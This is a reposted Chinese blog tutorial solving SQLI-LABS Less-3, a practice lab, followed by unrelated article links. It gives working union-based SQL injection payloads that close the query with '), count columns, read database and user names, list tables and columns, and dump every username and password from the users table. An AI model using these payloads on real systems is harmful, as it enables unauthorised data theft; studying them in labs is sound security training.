SQLI-LABS(Less-3)

Less-3(GET-Error based-Single quotes with twist-string)

打开 Less-3页面,可以看到页面中间有一句 Please input the ID as parameter with numeric value,那么先使用 ID这个参数通过 GET方式传入一个数值。

SQLI-LABS(Less-3)

确定注入点

注入语句: ?id=1

SQLI-LABS(Less-3)

可以看出传入 id=1可以正常回显,那么试一下 ?id=1',发现在 引号附近产生了歧义导致报错。

SQLI-LABS(Less-3)

并且从上图报错中可以看出这条SQL语句的闭合方式为 '),那么使用注入语句: ?id=1') --+,看看是否能够正常闭合并注释,从下图看出是没有问题的。

SQLI-LABS(Less-3)

接着尝试注入语句 ?id=1') and 1=1 --+?id=1') and 1=2 --+,发现注入第一条语句时正常回显,注入第二条语句时没有回显,由此判断存在注入点。

SQLI-LABS(Less-3)

判断数据表列数

通过 order by判断该表的字段数量( order by语句用于根据指定的列对结果集进行排序),URL后面拼接 ?id=1') order by 1 --+看是否报错:

SQLI-LABS(Less-3)
当尝试到 ?id=1') order by 4 --+时,出现了报错,由此可以判断该表只有3列。
SQLI-LABS(Less-3)

确定回显字段

注入语句: ?id=1') and 1=2 union select 1,2,3 --+

SQLI-LABS(Less-3)
这里使用 and 1=2是为了让 union之前的语句为假,从而不回显在前端页面。这样结合 union之后的语句就可以通过前端页面的回显知道前端页面显示的是数据表的第几列。

确定当前数据库名和用户

从上图中可以看出该数据表的第二列和第三列会回显在前端页面上,这样就可以通过数据库自带的函数: user()(查看当前用户)、 database()(查看当前数据库)、 version()(查看数据库版本)等替换2和3,注入得出连接数据库用户以及数据库名称。
注入语句: ?id=1') and 1=2 union select 1,database(),user() --+

SQLI-LABS(Less-3)
通过上述注入可以得知,当前数据库名为 security,当前用户为 root

确定当前数据库内表名

注入语句: ?id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

SQLI-LABS(Less-3)
通过上述注入可以得知当前数据库中存在 emailsreferersuagentsusers四张数据表。

确定users表中列名

注入语句: ?id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

SQLI-LABS(Less-3)
通过上述注入可以得知 users表中存在三列,分别为 idusernamepassword

确定users表中的用户名和密码

注入语句: ?id=1') and 1=2 union select 1,group_concat(username),group_concat(password) from users --+

SQLI-LABS(Less-3)

至此,就得到了当前表中所有的用户名和密码。

Original: https://www.cnblogs.com/Timesi/p/16658060.html
Author: 顾北清
Title: SQLI-LABS(Less-3)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578217/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • linux三剑客之awk

    linux三剑客之awk 适用范围:awk主要是用来格式化文本。 语法格式:awk [参数] [处理规则] [操作对象] 参数 作用 -F 指定文本分隔符(不写默认是以空格作为分隔…

    Linux 2023年5月27日
    0110
  • docker 安装nextcloud+onlyoffice+mysql

    环境 类目 版本 备注 操作系统 centos 7 64位 Docker 最新版 Docker compose 最新版 暂时没有用上可以不安装 nextcloud 最新版 only…

    Linux 2023年5月27日
    0101
  • 闭包、装饰器

    闭包: 闭包的演变过程: 闭包的概念: “闭包”的本质就是函数的嵌套定义,即在函数内部再定义函数 “闭包”有两种不同的方式,第一种是…

    Linux 2023年6月8日
    081
  • 什么是视频编码?编解码器和压缩技术

    想知道什么是视频编码,为什么它很重要? 在本文中,我们将研究编码、编解码器和压缩技术的过程。这包括什么使得一个推荐的编解码器,虽然是取决于情况。它还涵盖了为什么某些伪影,与压缩有关…

    Linux 2023年6月7日
    0116
  • zabbix自定义监控mysql主从状态和延迟

    zabbix自定义监控mysql主从状态和延迟 zabbix自定义监控mysql主从状态和延迟 zabbix自定义监控mysql主从状态 zabbix自定义监控mysql主从延迟 …

    Linux 2023年6月13日
    0122
  • golang的超时处理使用技巧

    大家知道Select 是 Go 中的一个控制结构,每个 case 必须是一个通信操作,要么是发送要么是接收操作。 select是 随机执行一个可运行的 case。 如果没有 cas…

    Linux 2023年6月6日
    075
  • Linux常用磁盘管理命令详解

    du du命令用于查看文件和目录磁盘的使用空间。 命令语法: du [参数] [文件&amp…

    Linux 2023年5月27日
    0112
  • Git报错 error: cannot spawn more: No such file or directory

    问题原因 error: cannot spawn more: No such file or directory 这个错误意思是不存在more指令,我是windows平台,自然这个…

    Linux 2023年6月6日
    0100
  • mysql基本操作

    mysql常用命令: 1查询数据库 show database; 2切换库 use test; 3查看库里的表 show tables; 4查看表里的字段 desc tb_name…

    Linux 2023年6月6日
    0101
  • 删除数据库表中重复数据的方法

    一直使用Postgresql数据库,有一张表是这样的: DROP TABLE IF EXISTS "public"."devicedata"…

    Linux 2023年6月6日
    097
  • USB转多串口产品设计

    在部分应用场合下需要为计算机或其他主机扩展多个串口,常见的扩展方式有USB转多串、PCI/PCIe转多串、蓝牙和以太网等网络转多串口。现在大多数台式计算机和笔记本电脑出于轻型化需要…

    Linux 2023年6月7日
    092
  • 使用Kotlin协程配合Retrofit发送请求

    Retrofit2.6开始增加了对Kotlin协程的支持,可以通过suspend函数进行异步调用。本文简单介绍一下使用Kotlin协程配合Retrofit使用,发起网络请求。 ap…

    Linux 2023年6月8日
    0112
  • Java学习笔记_Lambda学习

    在Java8之前,如果想”让参数具备行为能力”,即将代码块作为参数进行传递,这是很不方便的。比较普遍的方式就是创建一个类的实例对象,让实例去调用这个方法,从…

    Linux 2023年6月7日
    0105
  • SpringBoot学习笔记——Redis Template

    Springboot可以通过redis template和redis进行交互,使用方法如下 可以参考这个系列的文章: 【快学springboot】11.整合redis实现sessi…

    Linux 2023年5月28日
    0103
  • 网络通信知识地图

    知识地图是一种知识导航系统,并显示不同的知识存储之间重要的动态联系。本篇主要就是从更高的视角将之前的文章的结构思路展现出来。文章结构的思路实际上也是达到架构师程度要掌握的网络通信知…

    Linux 2023年6月14日
    0111
  • Nginx进阶篇—web模块及proxy代理

    server { #在server{下面输入 sub_filter n…

    Linux 2023年6月6日
    083
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球